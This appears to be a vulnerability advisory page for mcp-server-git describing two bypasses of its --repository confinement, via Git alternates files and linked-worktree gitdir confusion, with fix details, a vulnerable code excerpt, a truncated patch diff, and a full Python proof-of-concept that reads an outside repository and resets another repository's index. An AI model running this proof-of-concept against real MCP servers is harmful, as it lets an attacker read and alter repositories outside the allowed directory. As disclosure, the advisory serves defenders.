MCP-SERVER-GIT · GHSA-q74p-4wrc-q7w6 · Package
FIX → 2026.11.11
The mcp-server-git Python package, run with --repository, can be tricked into reading and changing a Git repository outside the allowed directory using plain-text Git redirection files such as objects/info/alternates and a linked-worktree gitdir. An attacker who can write plain files inside the allowed repository can read outside commits and files, and reset or modify another repository's index.
first public Nov 11, 2026 · 1 source
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Teams running the mcp-server-git server with --repository, where an MCP client or another tool can write plain files inside the allowed repository. On Windows, directory junctions inside the Git directory are not yet checked by the fix, so the fix is incomplete there; POSIX hosts are unaffected. Servers run without --repository, or where clients cannot write inside the allowed repository, are less exposed.
Not affected if no-repository-flag, posix-hosts-only-check, read-only-clients
Who cares git, mcp, mcp-server-git, python
pip show mcp-server-git and confirm the installed version is below 2026.11.11.--repository and whether any client can write files inside that repository.objects/info/alternates or objects/info/http-alternates files inside repositories under the allowed path.Fixed in mcp-server-git 2026.11.11 (#5514). Upgrade to 2026.11.11 or later. Versions before 2026.10.28 are covered by GHSA-w766-5x43-whvw.
Under --repository, the fix closes both bypasses in this report and the class around them:
objects/info/alternates or objects/info/http-alternates, of any kind) is refused: under --repository, a repository reads only its own objects.objects, refs, index, HEAD or elsewhere) that resolves outside both the allowed repository and that Git directory is refused. A link that stays inside is followed, and what it leads to is checked the same way, once per directory.Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 2026.11.11
mcp-server-git 2026.11.11 or later (versions before 2026.10.28 are covered by GHSA-w766-5x43-whvw).On Windows, a directory junction inside a repository's Git directory is not yet recognised as a link by that check, so it is walked like an ordinary directory instead of being judged by where it leads. This is tracked for a follow-up release. POSIX hosts are unaffected.
None for affected versions other than upgrading. On Windows, until the follow-up ships, do not rely on --repository to confine the server against a client that can create junctions inside the allowed repository.
GHSA-w766-5x43-whvw ("mcp-server-git: nested gitdir file bypasses --repository confinement", published 2026-10-28) demonstrated that when mcp-server-git is started with --repository <allowed>, a caller able to write plain files inside <allowed> (for example via @modelcontextprotocol/server-filesystem write_file, with no symlink capability required) could place a .git redirection file inside <allowed>/nested to read and modify a repository outside <allowed>.
To remediate GHSA-w766-5x43-whvw, validate_opened_repo() was added in src/git/src/mcp_server_git/server.py (lines 418?474) to inspect --git-dir, --git-common-dir, and --show-toplevel. However, validate_opened_repo() on current main (b711f8d3 / 194cc86e) leaves two concrete --repository confinement bypasses under the exact same attack preconditions (plain-text file creation inside <allowed>, zero symlinks required):
Cross-Repository Object Store Confinement Bypass via <common_dir>/objects/info/alternates:
.git (gitdir:) and commondir, <common_dir>/objects/info/alternates is a standard plain-text Git redirection file that instructs both Git and GitPython (GitCmdObjectDB) to resolve and read objects (commits, trees, blobs) from external .git/objects directories on the host filesystem.objects/info/alternates does not alter --git-dir, --git-common-dir, or --show-toplevel, validate_opened_repo() passes unconditionally when <allowed>/nested/.git/objects/info/alternates contains /path/to/outside-repository/.git/objects.git_show, git_diff, git_create_branch, git_log, git_checkout) on <allowed>/nested read committed files and commit history from the outside repository.Linked-Worktree git_dir / common_dir Set Confusion (own in validate_opened_repo):
src/git/src/mcp_server_git/server.py (lines 459?474):
escaped = [
p
for p in map(Path, (git_dir, common_dir, repo.git_dir, repo.common_dir))
if not p.resolve().is_relative_to(allowed)
]
if not escaped:
return
with git.Repo(allowed) as allowed_repo:
own = {
Path(allowed_repo.git_dir).resolve(),
Path(allowed_repo.common_dir).resolve(),
}
for p in escaped:
if p.resolve() not in own:
raise outside(p)
--repository <worktree> is a linked worktree of a main repository <main> (the configuration tested by test_restricted_server_serves_a_linked_worktree), allowed_repo.common_dir is <main>/.git.import tempfile, shutil
from pathlib import Path
import git
from mcp_server_git.server import (
validate_repo_path,
validate_opened_repo,
git_show,
git_create_branch,
git_reset,
)
lab = Path(tempfile.mkdtemp(prefix="git-confinement-repro-"))
try:
# 1. Bypass via plain-text .git/objects/info/alternates
allowed = git.Repo.init(lab / "allowed", initial_branch="main")
(lab / "allowed" / "a.txt").write_text("allowed
")
allowed.index.add(["a.txt"])
allowed.index.commit("init allowed")
outside = git.Repo.init(lab / "outside", initial_branch="main")
(lab / "outside" / "proof.txt").write_text("DUMMY-OUTSIDE-CONTENT
")
outside.index.add(["proof.txt"])
outside_commit = outside.index.commit("init outside")
nested_alt_path = lab / "allowed" / "nested_alt"
nested_alt = git.Repo.init(nested_alt_path, initial_branch="main")
alt_file = Path(nested_alt.git_dir) / "objects" / "info" / "alternates"
alt_file.parent.mkdir(parents=True, exist_ok=True)
alt_file.write_bytes((Path(outside.git_dir) / "objects").as_posix().encode() + b"
")
nested_alt.close()
r1 = git.Repo(nested_alt_path)
validate_repo_path(nested_alt_path, lab / "allowed")
validate_opened_repo(r1, nested_alt_path, lab / "allowed")
leaked = git_show(r1, f"{outside_commit.hexsha[:4]}:proof.txt")
assert "DUMMY-OUTSIDE-CONTENT" in leaked
r1.close()
# 2. Bypass via linked-worktree git_dir / common_dir confusion in own
(lab / "allowed" / "a.txt").write_text("staged-in-main
")
allowed.index.add(["a.txt"])
assert len(allowed.index.diff("HEAD")) == 1
wt_path = lab / "worktree"
allowed.git.worktree("add", str(wt_path), "-b", "wt-branch")
nested_wt = wt_path / "nested"
nested_wt.mkdir()
(nested_wt / ".git").write_text(f"gitdir: {allowed.git_dir}
")
r2 = git.Repo(nested_wt)
validate_repo_path(nested_wt, wt_path)
validate_opened_repo(r2, nested_wt, wt_path)
git_reset(r2) # Resets the main repository's index outside wt_path!
assert len(allowed.index.diff("HEAD")) == 0
r2.close()
allowed.close()
outside.close()
finally:
shutil.rmtree(lab, ignore_errors=True)
git diff)--- a/src/git/src/mcp_server_git/server.py
+++ b/src/git/src/mcp_server_git/server.py
@@ -456,21 +456,41 @@ def validate_opened_repo(
if not working_tree.resolve().is_relative_to(allowed):
raise outside(working_tree)
- escaped = [
- p
- for p in map(Path, (git_dir, common_dir, repo.git_dir, repo.common_dir))
- if not p.resolve().is_relative_to(allowed)
- ]
- if not escaped:
- return
+ resolved_git_dirs = {Path(git_dir).resolve(), Path(repo.git_di
validate_opened_repo() puts allowed_repo.git_dir and allowed_repo.common_dir into a single undirected set own and allows any nested path inside <worktree> to match either element, a caller who writes gitdir: /path/to/main/.git into <worktree>/nested/.git (the exact payload from GHSA-w766-5x43-whvw) passes validate_opened_repo() completely: --show-toplevel resolves to <worktree>/nested (inside <worktree>) and git_dir resolves to <main>/.git (which is in own).git_reset, git_add, git_commit, or git_checkout on <worktree>/nested read and mutate <main>'s private per-worktree state (HEAD, index, MERGE_HEAD) outside the confined linked worktree.